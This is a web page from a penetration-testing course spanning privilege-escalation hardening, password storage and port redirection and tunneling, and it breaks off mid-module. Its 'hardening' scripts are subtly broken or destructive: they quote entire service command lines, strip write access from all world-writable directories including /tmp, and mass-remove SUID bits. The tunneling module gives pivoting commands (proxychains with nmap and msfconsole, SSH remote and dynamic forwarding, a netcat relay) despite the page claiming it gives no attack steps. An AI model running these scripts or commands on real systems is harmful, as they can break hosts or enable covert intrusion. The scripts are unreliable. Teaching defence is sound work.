📋 Windows Security Baseline - Quick Reference

Control Implementation Verification Command
Run users as Standard User Remove users from local Administrators group net localgroup Administrators
Enable UAC Set ConsentPromptBehaviorAdmin = 2 (Prompt for consent) reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
Disable Guest Account net user guest /active:no net user guest
LAPS (Local Administrator Password Solution) Deploy LAPS to rotate local admin passwords Get-LAPSADPassword -Identity "ComputerName"
Remove expired user accounts Quarterly user account audit Get-LocalUser | Where-Object {$_.Enabled -eq $true}
Defensive Impact: Standard users cannot install software, modify system settings, or access other users' data. UAC forces elevation confirmation even for admins.

Control Implementation Verification Command
Fix unquoted service paths Add quotes to service binary paths wmic service get name,pathname | findstr /i /v """" | findstr /i "Program Files"
Restrict service binary permissions icacls "C:\Program Files\Vendor\service.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F accesschk.exe -u Users "C:\Program Files\Vendor\service.exe"
Restrict service DACLs sc sdset ServiceName D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) sc sdshow ServiceName
Run services as least privilege Use LocalService/NetworkService, not LocalSystem wmic service where "startname='LocalSystem'" get name,startname
Disable unnecessary services sc config ServiceName start= disabled sc query state= all | findstr /i "SERVICE_NAME"
🚨 Critical: Unquoted service paths and weak service DACLs are the #1 most exploited Windows privilege escalation vectors. Prioritize these fixes.

Control Implementation Verification Command
Disable AlwaysInstallElevated reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Restrict autorun registry keys Set-ACL -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -RemoveAccessRule "BUILTIN\Users","Write" accesschk.exe -k -u Users HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Restrict service registry keys sc sdset ServiceName (affects registry as well) Get-ACL -Path "HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName"
⚠️ AlwaysInstallElevated: If both HKLM and HKCU keys are set to 1, any user can install MSI packages as SYSTEM. This is a critical misconfiguration.

Control Implementation Verification
Disable PowerShell v2 Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 $PSVersionTable (PSVersion 2.0 should not appear)
Enable PowerShell Logging Enable Script Block Logging, Module Logging via GPO Event ID 4104, 4103
Enable Credential Guard Enable via Group Policy or registry Get-ComputerInfo -Property "DeviceGuard*"
Enable Windows Defender Credential Guard Isolate LSASS to protect from credential dumping Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-CredentialGuard

🐧 Linux Defense – Practical Hardening Guide

Control Implementation Verification Command
Remove NOPASSWD entries Edit /etc/sudoers - remove NOPASSWD directive sudo -l | grep NOPASSWD
Restrict sudo commands Specify exact binaries with absolute paths sudo -l - review for dangerous commands (vim, less, find, nmap)
Disable sudo env_keep for LD_PRELOAD Defaults !env_keep += "LD_PRELOAD" sudo -l | grep env_keep
Use sudo log file Defaults logfile="/var/log/sudo.log" cat /var/log/sudo.log
🚨 Critical: NOPASSWD + (ALL) ALL = root access without authentication. Never grant this to non-admin users.

Control Implementation Verification Command
Remove unnecessary SUID chmod u-s /path/to/binary find / -perm -4000 -type f 2>/dev/null
Remove unnecessary SGID chmod g-s /path/to/binary find / -perm -2000 -type f 2>/dev/null
Mount filesystems with nosuid Add nosuid to /etc/fstab for /home, /tmp, /var/tmp mount | grep nosuid
Audit custom SUID binaries Review all non-standard SUID binaries quarterly find / -perm -4000 -user root -type f ! -path "/usr/bin/*" ! -path "/bin/*"
⚠️ Legacy SUID risks: Outdated versions of pkexec (CVE-2021-4034), sudo, and crontab are frequent escalation vectors. Keep them patched.

Control Implementation Verification Command
Restrict cron script permissions chmod 700 /etc/cron.daily/* ls -la /etc/cron*/*
Use absolute paths in cron Replace `script.sh` with `/usr/local/bin/script.sh` grep -r "^[^#]" /etc/crontab /etc/cron.d/
Avoid wildcards in cron Replace `tar *` with explicit file list or find -exec grep -r "\*" /etc/cron*
Restrict cron access Use /etc/cron.allow and /etc/cron.deny cat /etc/cron.allow
🚨 Wildcard injection: Tar, chmod, and rsync with wildcards in root cron can be exploited via crafted filenames. Always avoid wildcards in privileged scripts.

Control Implementation Verification Command
Remove dangerous capabilities setcap -r /path/to/binary getcap -r / 2>/dev/null
Restrict world-writable files find / -type f -perm -0002 -exec chmod o-w {} \; 2>/dev/null find / -type f -perm -0002 2>/dev/null | grep -v "^/proc"
Restrict world-writable directories find / -type d -perm -0002 -exec chmod o-w {} \; 2>/dev/null find / -type d -perm -0002 2>/dev/null | grep -v "^/proc"
Secure /etc/shadow permissions chmod 640 /etc/shadow; chown root:shadow /etc/shadow ls -la /etc/shadow
⚠️ Capabilities: CAP_SYS_ADMIN, CAP_DAC_OVERRIDE, and CAP_SETUID on non-standard binaries are high-risk. Audit monthly.

Control Implementation Verification
Remove users from docker group gpasswd -d username docker getent group docker
Remove users from disk group gpasswd -d username disk getent group disk
Remove users from adm group gpasswd -d username adm getent group adm
Audit sudo/wheel group Quarterly review of privileged group members getent group sudo; getent group wheel
🚨 Docker group = root: Users in the docker group can mount host filesystems and execute commands as root without password. Never grant this to non-admin users.

🔍 Monitoring & Detection – Privilege Escalation Indicators

🪟 Windows Detection
Event ID Description Indicator
4672 Special privileges assigned to new logon SeDebugPrivilege, SeImpersonatePrivilege
4688 Process creation cmd.exe, powershell.exe spawned from Office/PDF
7045 New service installed Service created by non-admin user
4657 Registry modification Autorun keys modified by user
4104 PowerShell script block WinPEAS, PowerUp, Invoke-Expression
5156 Windows Filtering Platform connection Outbound to suspicious IPs
💡 Enable advanced audit logging: Audit Process Creation, Audit Registry, Audit Service Creation via GPO.
🐧 Linux Detection
Log Source Description Indicator
auth.log Authentication events sudo failures, user additions to sudo group
auditd System call auditing setuid/setgid syscalls from non-root users
syslog System events Cron job modifications, new SUID binaries
osquery Endpoint visibility Processes running as root with parent from user
audit.rules Monitor SUID/SGID execution -a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -F auid!=-1
💡 auditd rule example: -a always,exit -S setuid -S setgid -F auid>=1000 -k priv_esc
🛡️ EDR & SIEM Detection Patterns
Windows:
  • Privileged container detection
  • LSASS process access (non-SYSTEM)
  • Unquoted service path creation
  • Schtask registration by user
Linux:
  • Docker group command execution
  • SUID binary drops
  • Kernel module loading
  • Cron file modifications
Behavioral:
  • Process parent-child anomalies
  • Unexpected privilege elevation
  • System file modifications
  • Writable directory execution

📦 Patch Management – Closing Known Exploit Vectors

Vulnerability Affected Systems Patch/Remediation Defensive Priority
PrintNightmare (CVE-2021-34527) Windows Server 2016-2022, Windows 10-11 KB5004945+ or Disable Print Spooler CRITICAL
Zerologon (CVE-2020-1472) Windows Server 2008-2019 Domain Controllers KB4565349+ and enforce secure RPC CRITICAL
PwnKit (CVE-2021-4034) All Linux distributions with pkexec Update policykit-1 package CRITICAL
Dirty Pipe (CVE-2022-0847) Linux kernel 5.8+ Update kernel CRITICAL
NoPac (CVE-2021-42278/42287) Windows Server DCs November 2021 patches CRITICAL
🚨 Patch Management Policy: Critical patches should be deployed within 48 hours. High severity within 7 days. Use automated patch management (WSUS, SCCM, Landscape, Spacewalk) to enforce compliance.

🐳 Container & Cloud Privilege Escalation Defense

📦 Docker/Kubernetes
  • No privileged containers: Avoid --privileged flag
  • Drop all capabilities: --cap-drop=ALL, add only required
  • Read-only root filesystem: --read-only flag
  • No new privileges: --security-opt=no-new-privileges:true
  • User namespace remapping: --userns=remap
  • AppArmor/SELinux: Enforce container profiles
☁️ Cloud (AWS/Azure/GCP)
  • IAM least privilege: No wildcard (*) permissions
  • Service accounts: Use dedicated, scoped service accounts
  • Metadata service: Block IMDSv1, enforce v2
  • VPC isolation: No public instances
  • Cloud Audit Logs: Enable and monitor privilege elevation

🌍 Real-World Defensive Scenarios

📋 Scenario 1: Service Account Compromise

Initial State: Web application service runs as SYSTEM. Vulnerability in web app allows RCE.

Outcome without defense: Attacker executes commands as SYSTEM, installs backdoor, dumps LSASS, compromises entire server.

Defensive implementation:

  • Change service to run as Network Service or virtual account
  • Remove SeImpersonatePrivilege from service account
  • Apply AppLocker to prevent unauthorized binaries

Result: Attacker has limited privileges, cannot escalate to SYSTEM, incident contained.

Takeaway: Never run application services as SYSTEM. Always use least-privilege service accounts.
📋 Scenario 2: Unquoted Service Path in Production

Initial State: "Vulnerable Service" has path: C:\Program Files\Vendor App\service.exe (no quotes)

Risk: User with write access to C:\Program Files\ can drop malicious executable named "Vendor.exe"

Defensive implementation:

  • Quote the service path: sc config VulnService binPath= "\"C:\Program Files\Vendor App\service.exe\""
  • Restrict write permissions on C:\Program Files
  • Run WinPEAS/PowerUp weekly to detect regressions

Result: Attack vector eliminated. No binary hijacking possible.

📋 Scenario 3: Docker Group Privilege Creep

Initial State: Developer added to docker group for "convenience" 2 years ago. Developer changed teams but group membership never removed.

Risk: Developer account compromise = root access to entire host

Defensive implementation:

  • Quarterly group membership audit script
  • Remove user from docker group: gpasswd -d username docker
  • Implement sudo rules for Docker management instead

Result: Privilege creep eliminated. Developer has no unnecessary root access.


🤖 Defensive Automation – Privilege Escalation Hardening Scripts

🪟 Windows Hardening Script (PowerShell)
# Windows PrivEsc Defense Script
# Run as Administrator

# 1. Fix AlwaysInstallElevated
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -Value 0
Set-ItemProperty -Path "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -Value 0

# 2. Remove users from docker group (if exists)
try { Remove-LocalGroupMember -Group "docker" -Member "username" } catch {}

# 3. Audit and fix unquoted service paths
Get-WmiObject win32_service | Where-Object {$_.PathName -match '^[^"].+ .+'} | ForEach-Object {
    $newPath = '"' + $_.PathName + '"'
    sc.exe config $_.Name binPath= $newPath
}

# 4. Disable PowerShell v2
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 -NoRestart

Write-Host "✅ Windows privilege escalation hardening applied" -ForegroundColor Green
🐧 Linux Hardening Script (Bash)
#!/bin/bash
# Linux PrivEsc Defense Script
# Run as root

# 1. Remove unnecessary SUID
find / -perm -4000 -type f ! -path "/usr/bin/sudo" \
  ! -path "/usr/bin/passwd" \
  ! -path "/usr/bin/su" \
  ! -path "/usr/bin/mount" \
  ! -path "/usr/bin/umount" 2>/dev/null | xargs chmod u-s

# 2. Secure cron permissions
chmod 700 /etc/crontab
chmod 700 /etc/cron.d
chmod 700 /etc/cron.daily
chmod 700 /etc/cron.hourly
chmod 700 /etc/cron.weekly
chmod 700 /etc/cron.monthly

# 3. Remove users from dangerous groups
gpasswd -d username docker 2>/dev/null
gpasswd -d username disk 2>/dev/null
gpasswd -d username adm 2>/dev/null

# 4. Set secure PATH in cron
echo "PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin" >> /etc/crontab

echo "✅ Linux privilege escalation hardening applied"

✅ Defense Against Privilege Escalation – Complete Summary

🛡️ Prevent:

  • Least privilege for users & services
  • Patch management (48-72 hours)
  • Secure configurations (CIS/STIG)
  • Remove unnecessary SUID/SGID
  • Fix unquoted service paths
  • Disable AlwaysInstallElevated

🔍 Detect:

  • Event ID 4672, 4688, 7045 (Windows)
  • auditd setuid/setgid syscalls (Linux)
  • PowerShell script block logging
  • Service installation monitoring
  • New SUID binary alerts

⚡ Respond:

  • Automated isolation playbooks
  • Credential rotation
  • Forensic collection
  • Reimage compromised hosts
  • Root cause analysis
⚠️ Defensive Maturity Model:
  • Level 1 (Reactive): No systematic defense. Patching is delayed. User have admin rights.
  • Level 2 (Baseline): Standard users, monthly patching, basic audit of admins.
  • Level 3 (Proactive): LAPS, Credential Guard, SUID audits, weekly scanning.
  • Level 4 (Advanced): Automated remediation, EDR with privilege escalation detection, red team exercises.
💡 Final Defensive Truth: There is no single "magic" control that prevents all privilege escalation. Defense is a program, not a product. Organizations that consistently apply the fundamentals—least privilege, patching, monitoring, and configuration management—eliminate 95% of privilege escalation risk.

🎓 Module 21 : Privilege Escalation Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 22 – Passwords & Authentication (Ultra-Level Detailed & Defensive)

Passwords remain a primary authentication method and a frequent weak link in security. This module explains why passwords fail, how they are safely stored, modern authentication alternatives (MFA, passkeys), detection & defensive controls, and practical hardening guidance — all from a defensive, non-offensive perspective.

⚠️ Important:
This module is strictly educational and defensive. It focuses on hardening, detection, and remediation. It does not provide steps for attacking, cracking, or abusing authentication systems.

22.1 Why Passwords Fail

Password-related incidents are common because of human, design, and implementation weaknesses. Recognizing the root causes helps build better controls.

🔍 Common Causes

  • 📎 Reused passwords across sites and services
  • 🗝️ Weak password composition (short, predictable, dictionary words)
  • 🔐 Poor storage (plaintext or weak hashes)
  • 📮 Insecure recovery flows (weak "forgot password" mechanisms)
  • 🤖 Automated attacks (credential stuffing against reused creds)
  • 🔑 Poor key management for password-related secrets
💡 Humans are the primary factor — design systems to reduce reliance on memory (password managers, MFA).

22.2 Password Storage Concepts (Safe & Correct)

How you store authentication secrets determines how resilient you are to breaches. Never store plaintext.

🔐 Defensive Storage Principles

  • ✔ Never store passwords in plaintext
  • ✔ Use salted, slow, memory-hard hashing algorithms
  • ✔ Separate password hashes from other application data and secure backups
  • ✔ Use a pepper (server-side secret) where appropriate — treat it like a key
  • ✔ Rotate and revoke credentials when compromise is suspected
🧾 Always treat password storage as a critical asset — secure configuration, key management, and logging matter.

22.3 Hashing, Salting, and Key Stretching (Concepts — Safe)

Hashing transforms a password into a fixed-length value. Strong defenders add salt and slow the hash to reduce attack effectiveness.

🧩 Key Concepts

  • Hash: One-way transform (e.g., SHA family) — not sufficient alone for passwords.
  • Salt: Unique per-password random value that prevents precomputed attacks (rainbow tables).
  • Stretching / Work Factor: Make hashing deliberately slow to increase cost of guessing.
  • Memory-hard functions: Require RAM to compute (slows specialized hardware).
  • Pepper: An additional secret stored separately (e.g., in HSM) to protect all hashes if DB is leaked.

✅ Recommended Algorithms (Defensive)

  • Argon2id — currently recommended for new deployments (memory-hard, tunable).
  • bcrypt — longstanding, tunable cost; widely supported.
  • scrypt — memory-hard, suitable but less commonly used than Argon2 today.
  • PBKDF2 — acceptable when configured with high iteration counts and combined with other controls.
⚠️ Tune work factors based on environment: increase iterations/memory as hardware improves (monitor authentication latency).

22.4 Authentication Flows & Recovery — Secure Design

Secure authentication is more than passwords — recovery flows, session handling, and token lifetimes are critical.

🔑 Secure Login & Session Practices

  • ✔ Use short-lived session tokens and secure cookies (HttpOnly, Secure, SameSite)
  • ✔ Implement account lockouts or progressive throttling on repeated failures
  • ✔ Log authentication events centrally with user, IP, device info
  • ✔ Invalidate sessions on password changes and suspicious events

🛠️ Secure "Forgot Password" Patterns

  • ✔ Use single-use, time-limited reset tokens (store hashed tokens server-side)
  • ✔ Send reset links to pre-verified contact points only
  • ✔ Avoid exposing whether an account exists (careful with messaging)
  • ✔ Throttle reset requests and monitor for abuse
💡 Recovery flows are a frequent attack vector — treat them with as much care as login flows.

🎓 Module 22 : Password Attacks Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


Module 23 – Port Redirection & Tunneling (Ultra-Level Detailed & Defensive)

Port redirection and tunneling are powerful network techniques used for legitimate purposes (remote administration, secure access, NAT traversal, and troubleshooting) but also abused by attackers for covert channels and data exfiltration. This module provides an ultra-detailed, defensive exploration: core concepts, types of tunnels and proxies, how tunneling is used legitimately and maliciously, detection & logging guidance, forensic artefacts, risk models, enterprise controls, and safe lab exercises.

⚠️ Important:
The content is strictly defensive and educational. It explains concepts, detection, and mitigation. It does not provide step-by-step instructions for creating covert tunnels or evading detection.

23.1 What is Port Redirection?

Port Redirection is a networking technique that allows traffic sent to one port or system to be forwarded to another destination. Instead of accessing a service directly, the connection passes through an intermediate host.

In simple words, port redirection means using one machine as a middleman to reach services that are normally blocked, hidden, or restricted.

Port redirection is widely used in penetration testing, especially after gaining initial access, to reach internal services and perform deeper assessments.


🔍 Why is Port Redirection Important?
  • 🔐 Access internal services not exposed to the internet
  • 🧱 Bypass firewall and network segmentation restrictions
  • 🔄 Enable pivoting inside compromised networks
  • 🧪 Test internal applications securely
  • ⚙ Form the foundation of tunneling techniques
💡 Example:
A web admin panel runs on an internal server and is not accessible externally. By redirecting ports through a compromised machine, the service becomes reachable for testing.
🧠 How Does Port Redirection Work?

Port redirection works by listening on one port and forwarding incoming traffic to another system or port.

To the user, it appears as if the service exists on the redirecting machine, even though it is actually hosted elsewhere.


Client → Redirecting Host → Internal Service
    
🌍 Real-World Analogy

Think of port redirection like a security desk in an office. Visitors cannot enter restricted rooms, but the desk forwards their requests to people inside.


🧩 Common Use Cases
  • 📡 Accessing internal web dashboards
  • 🗄 Connecting to databases inside private networks
  • 🖥 Managing servers behind NAT or firewalls
  • 🚀 Pivoting from one compromised system to another
  • 🧪 Testing services during internal penetration tests
🔄 Port Redirection vs Direct Connection
Aspect Direct Connection Port Redirection
Access Method Directly to service Via intermediate host
Firewall Restrictions Often blocked Uses allowed paths
Pivoting Support No Yes
Use in Pentesting Limited Very common

📂 Types of Port Redirection

Port redirection can be classified based on how traffic is forwarded:

  • Local Port Redirection: Forwards traffic from a local port to a remote service
  • Remote Port Redirection: Forwards traffic from a remote system back to the attacker
  • Dynamic Port Redirection: Acts as a proxy, forwarding traffic dynamically
💡 Key Point:
Dynamic port redirection is commonly used in proxy-based tunneling tools.
⚔ Attacker vs 🛡 Defender Perspective

Attacker View: Port redirection expands access to internal resources while avoiding direct exposure.

Defender View: Redirection can hide attacks by making malicious traffic appear internal and trusted.

📍 Where Port Redirection Fits in a Pentest
  1. Initial system compromise
  2. Internal network discovery
  3. Port redirection setup
  4. Access to internal services
  5. Lateral movement
⚠️ Important:
Port redirection must only be performed on systems you own or have explicit written authorization to test.
In simple words:
Port redirection allows security testers to safely reach restricted services and understand real-world attack paths.

23.2 Tunneling Concepts & Use Cases

Tunneling is a networking technique that allows one type of network traffic to be carried inside another protocol. This makes the original traffic appear as something else while it travels across a network.

In simple words, tunneling means hiding one connection inside another trusted connection so that data can pass through firewalls, filters, or restricted network paths.

In penetration testing, tunneling is commonly used to bypass network restrictions, access internal services, and maintain communication with compromised systems.


🔍 Why is Tunneling Important?
  • 🧱 Bypasses firewalls and network restrictions
  • 🔐 Allows access to internal-only services
  • 🔄 Enables pivoting across network segments
  • 📡 Maintains stable communication channels
  • 🛠 Supports advanced post-exploitation activities
💡 Example:
If a firewall blocks most ports but allows SSH or HTTPS, attackers can tunnel other traffic through those allowed protocols.
🧠 How Does Tunneling Work?

Tunneling works by encapsulating data from one protocol inside another protocol that is allowed to pass through the network.

The outer protocol carries the hidden traffic safely to the destination, where it is unpacked and delivered to the intended service.


Original Traffic → Encapsulation → Allowed Protocol → Network → Decapsulation
    
🌍 Simple Real-World Analogy

Imagine sending a letter inside a sealed envelope marked as “official mail”. Security allows the envelope through, unaware of the message inside. That is how tunneling works.


🧩 Common Tunneling Protocols
  • SSH: Tunnels traffic securely over port 22
  • HTTPS: Hides traffic inside encrypted web sessions
  • SOCKS: Dynamic tunneling through proxy services
  • ICMP: Rarely used, hides data in ping traffic
  • DNS: Sends data inside DNS queries and responses
⚠️ Note:
Some tunneling methods are slow and noisy, but still effective in highly restricted networks.
🔄 Tunneling vs Port Redirection
Aspect Port Redirection Tunneling
Main Purpose Forward traffic Hide traffic inside another protocol
Complexity Simple More advanced
Firewall Evasion Limited Very effective
Encryption Optional Usually encrypted

📂 Types of Tunneling
  • Local Tunneling: Access internal services locally
  • Remote Tunneling: Expose internal services externally
  • Dynamic Tunneling: Acts as a SOCKS proxy
🧪 Real-World Use Cases
  • 🔐 Accessing internal admin panels
  • 🗄 Connecting to private databases
  • 🖥 Managing internal servers securely
  • 🚀 Pivoting across segmented networks
  • 📡 Maintaining covert communication channels
⚔ Attacker vs 🛡 Defender Perspective

Attacker View: Tunneling allows hidden access to internal systems using trusted protocols.

Defender View: Tunneling can hide malicious activity inside normal-looking encrypted traffic.

📍 Where Tunneling Fits in a Pentest
  1. Initial compromise
  2. Restricted network discovered
  3. Tunnel established
  4. Internal services accessed
  5. Lateral movement performed
⚠️ Legal Reminder:
Tunneling techniques must only be used in authorized penetration tests or lab environments.
In simple words:
Tunneling hides restricted traffic inside trusted connections, making deep network access possible during penetration testing.

23.3 Network Layers & Protocols

Network Layers and Protocols define how data is created, transmitted, routed, and received across networks. Understanding these layers is essential for mastering port redirection, tunneling, and pivoting.

In simple words, network layers explain who does what when data travels from one system to another — from applications down to physical cables and back again.

In penetration testing, attackers and defenders rely on layer knowledge to understand where traffic can be redirected, hidden, or blocked.


🧱 Why Network Layers Matter in Tunneling
  • 📡 Firewalls inspect specific layers, not all traffic
  • 🔐 Encryption happens at certain layers only
  • 🧱 Some layers are filtered, others are trusted
  • 🔄 Tunneling works by abusing trusted layers
  • 🧠 Protocol awareness enables stealthy pivoting
💡 Key Idea:
Most tunneling techniques work because security controls focus on higher layers and trust lower or encrypted ones.
📚 The OSI Model (7 Layers)

The OSI (Open Systems Interconnection) model divides networking into seven logical layers.

Layer Name Purpose Pentesting Relevance
7 Application User-facing services Web apps, SSH, DNS tunneling
6 Presentation Encryption & encoding SSL/TLS encryption hiding traffic
5 Session Session management Persistent tunnels & sessions
4 Transport Ports & reliability TCP tunnels, port redirection
3 Network IP addressing & routing Pivoting across networks
2 Data Link MAC addressing ARP abuse, local pivoting
1 Physical Cables & signals Out of scope for tunneling

🌐 TCP/IP Model (Practical View)

In real networks, the TCP/IP model is used instead of the OSI model. It has four layers.

TCP/IP Layer Includes Examples
Application OSI 5–7 HTTP, HTTPS, SSH, DNS
Transport OSI 4 TCP, UDP
Internet OSI 3 IP, ICMP
Network Access OSI 1–2 Ethernet, ARP
🔌 Key Protocols Used in Tunneling
  • TCP: Reliable, connection-based (most tunnels)
  • UDP: Fast, connectionless (limited tunneling)
  • SSH: Encrypted application-layer tunneling
  • HTTPS: Encrypted web-layer tunneling
  • DNS: Data hidden in name lookups
  • ICMP: Rare tunneling via ping traffic
⚠️ Note:
Encrypted protocols like SSH and HTTPS are commonly allowed through firewalls, making them ideal for tunneling.
🔄 How Layers Enable Tunneling

Tunneling works by placing one protocol inside another. For example, application-layer data can be hidden inside encrypted transport-layer traffic.


Application Data
    ↓
SSH / HTTPS Encryption
    ↓
TCP Transport
    ↓
IP Routing
    ↓
Network
    
⚔ Attacker vs 🛡 Defender Perspective

Attacker View: Understanding layers allows attackers to choose protocols that are trusted and rarely inspected.

Defender View: Security teams must monitor behavior across multiple layers, not just ports.

📍 Where Network Layers Fit in a Pentest
  1. Identify allowed protocols
  2. Determine filtered layers
  3. Select tunneling method
  4. Encapsulate traffic
  5. Maintain access & pivot
In simple words:
Network layers explain how and where traffic can be redirected, hidden, or blocked — making them the foundation of tunneling techniques.

23.4 Proxychains – Proxy Chaining Tool

Proxychains is a command-line tool that forces network connections from other tools to pass through one or more proxy servers instead of connecting directly to the target.

In simple words, Proxychains allows you to control the path of your network traffic. Any tool run through Proxychains will send its traffic via configured proxies, hiding the original source and enabling access to restricted networks.

Proxychains is widely used in penetration testing for anonymity, pivoting, tunneling, and firewall bypassing. It does not exploit vulnerabilities itself, but supports other tools by redirecting their traffic.


🔍 Why Proxychains is Important
  • 🧱 Bypasses firewall and network restrictions
  • 🔐 Hides the attacker’s real IP address
  • 🔄 Enables pivoting through compromised hosts
  • 📡 Routes traffic through Tor or internal proxies
  • 🛠 Works with many pentesting tools
💡 Example:
If direct access to an internal server is blocked, Proxychains can route traffic through a compromised system or Tor network to reach it.
🧠 How Proxychains Works

Proxychains works by intercepting system network calls and redirecting them through a list of configured proxy servers.

Instead of a tool connecting directly to a target, the connection flows through one or more proxies in sequence, known as a proxy chain.


Tool → Proxychains → Proxy 1 → Proxy 2 → Target
    

Each proxy forwards the request to the next one, making the traffic harder to trace and enabling access to otherwise unreachable systems.


⚙ Proxychains Configuration File

Proxychains uses a configuration file to define proxy behavior:

/etc/proxychains.conf
/etc/proxychains4.conf

This file controls how proxies are chained, which proxy types are used, and how DNS requests are handled.

🔄 Proxy Chain Modes

Only one chaining mode should be enabled at a time.

  • strict_chain: Uses proxies in the exact order listed. If one proxy fails, the connection fails.
  • dynamic_chain: Skips unavailable proxies and uses the rest. Most commonly used.
  • random_chain: Randomly selects proxies for each connection. More anonymous but less stable.
⚠️ Recommended:
dynamic_chain offers the best balance of reliability and stealth.
🌐 Supported Proxy Types
  • SOCKS5 – Most common and flexible
  • SOCKS4
  • HTTP

Example proxy entry:

socks5 127.0.0.1 9050

🧪 Using Proxychains with Tools

Proxychains is used by simply prefixing it before a command:

proxychains <tool> <arguments>
🔹 Nmap
proxychains nmap -sT -Pn target

Only TCP connect scans work because Proxychains does not support raw packet scans.

🔹 Web Enumeration
proxychains gobuster dir -u http://target -w wordlist.txt
🔹 SMB Access
proxychains smbclient //target/share
🔹 Metasploit
proxychains msfconsole

🧩 Proxychains and Tor

Proxychains is often combined with Tor to anonymize traffic. Tor listens locally and forwards traffic through multiple nodes across the internet.

This setup allows tools to appear as if they originate from random global locations.

🚧 Limitations of Proxychains
  • ❌ Does not support UDP traffic
  • ❌ Slower than direct connections
  • ❌ Some tools may not fully respect proxy settings
  • ❌ ICMP-based scans will fail
⚔ Attacker vs 🛡 Defender Perspective

Attacker View: Proxychains enables stealthy access, pivoting, and traffic obfuscation using trusted paths.

Defender View: Proxychains traffic may appear as Tor or proxy traffic and can be detected via unusual routing patterns.

📍 Where Proxychains Fits in a Pentest
  1. Initial compromise
  2. Restricted network discovered
  3. Proxychains configured
  4. Traffic tunneled through proxies
  5. Lateral movement performed
⚠️ Legal Reminder:
Proxychains must only be used on systems you own or have explicit authorization to test.
In simple words:
Proxychains controls how tools communicate over the network, making it a powerful helper for tunneling, anonymity, and pivoting.

23.5 SSH Tunneling (Local / Remote / Dynamic)

SSH Tunneling is a technique that allows network traffic to be securely forwarded through an encrypted SSH connection. It is one of the most reliable and widely used tunneling methods in penetration testing and system administration.

In simple words, SSH tunneling means using an SSH connection as a secure pipe to carry other network traffic through it, even when direct access is blocked.

SSH tunneling is commonly used for firewall bypassing, accessing internal services, and pivoting inside restricted networks.


🔍 Why SSH Tunneling is Important
  • 🔐 Encrypts all tunneled traffic
  • 🧱 Bypasses firewall restrictions using allowed SSH ports
  • 🔄 Enables access to internal-only services
  • 🚀 Supports lateral movement and pivoting
  • 🛠 Built into most Linux and Unix systems
💡 Example:
A database server is accessible only inside the network. SSH tunneling allows secure access to it via a compromised host.
🧠 How SSH Tunneling Works

SSH tunneling works by encapsulating other network traffic inside an encrypted SSH session. The SSH server forwards the traffic to the final destination and sends responses back through the same tunnel.


Client → SSH Tunnel (Encrypted) → Internal Service
    

📂 Types of SSH Tunneling

SSH supports three main tunneling modes, each used for different scenarios.

🔹 Local Port Forwarding

Local tunneling forwards traffic from a local port on the attacker’s machine to a remote internal service.

This is commonly used to access internal web apps, databases, or admin panels.

ssh -L 8080:internal_host:80 user@ssh_server

This command forwards local port 8080 to internal_host:80 through the SSH server.


🔹 Remote Port Forwarding

Remote tunneling allows a remote system to access a service running on the attacker’s local machine.

It is useful when the attacker cannot connect directly to the target, but the target can initiate outbound connections.

ssh -R 9000:localhost:22 user@ssh_server

This exposes the attacker’s local SSH service on port 9000 of the remote SSH server.


🔹 Dynamic Port Forwarding

Dynamic tunneling creates a SOCKS proxy that can forward traffic to multiple destinations dynamically.

This mode is often used with tools like web browsers or Proxychains.

ssh -D 1080 user@ssh_server

This creates a SOCKS proxy on local port 1080.

💡 Key Point:
Dynamic tunneling is the most flexible form of SSH tunneling.

🔄 Comparison of SSH Tunneling Types
Type Direction Use Case
Local Local → Remote Access internal services
Remote Remote → Local Expose local services
Dynamic Multiple Proxy-based tunneling

⚔ Attacker vs 🛡 Defender Perspective

Attacker View: SSH tunneling provides encrypted, stealthy access using trusted ports.

Defender View: Tunnels can hide malicious activity inside legitimate SSH sessions.

📍 Where SSH Tunneling Fits in a Pentest
  1. Initial access obtained
  2. Firewall restrictions identified
  3. SSH tunnel established
  4. Internal services accessed
  5. Lateral movement performed
⚠️ Important:
SSH tunneling must only be used on systems you own or have explicit written authorization to test.
In simple words:
SSH tunneling securely carries restricted traffic through trusted connections, making it a core technique for pivoting and tunneling.

23.6 Netcat & Socat for Port Redirection

Netcat and Socat are powerful networking tools used to read, write, and redirect data across network connections. In penetration testing, they are commonly used for port redirection, pivoting, and data forwarding.

In simple words, these tools act as network connectors that link one port or service to another, allowing traffic to flow through systems that would normally be inaccessible.

While Netcat is simple and lightweight, Socat is more advanced and flexible, making both useful in different redirection scenarios.


🔍 Why Netcat & Socat Are Important
  • 🔄 Redirect traffic between different ports
  • 🧱 Bypass network restrictions
  • 🚀 Enable pivoting through compromised systems
  • 🛠 Built into many Linux environments
  • ⚙ Useful for quick and temporary tunnels
💡 Example:
A service is reachable only inside a network. Netcat or Socat can forward traffic from an exposed port to the internal service.
🧠 Understanding Port Redirection

Port redirection forwards traffic arriving on one port to another port or host. The redirection tool acts as a middle relay.


Client → Redirecting Host → Internal Service
    

🔹 Netcat (nc)

Netcat is often called the "Swiss Army Knife" of networking. It creates raw TCP or UDP connections and can listen or send data.

📌 Basic Netcat Listener
nc -lvnp 8080

Listens on port 8080 for incoming connections.

📌 Simple Port Forwarding with Netcat
nc -lvnp 9000 -c "nc internal_host 80"

Redirects traffic from port 9000 to internal_host:80.

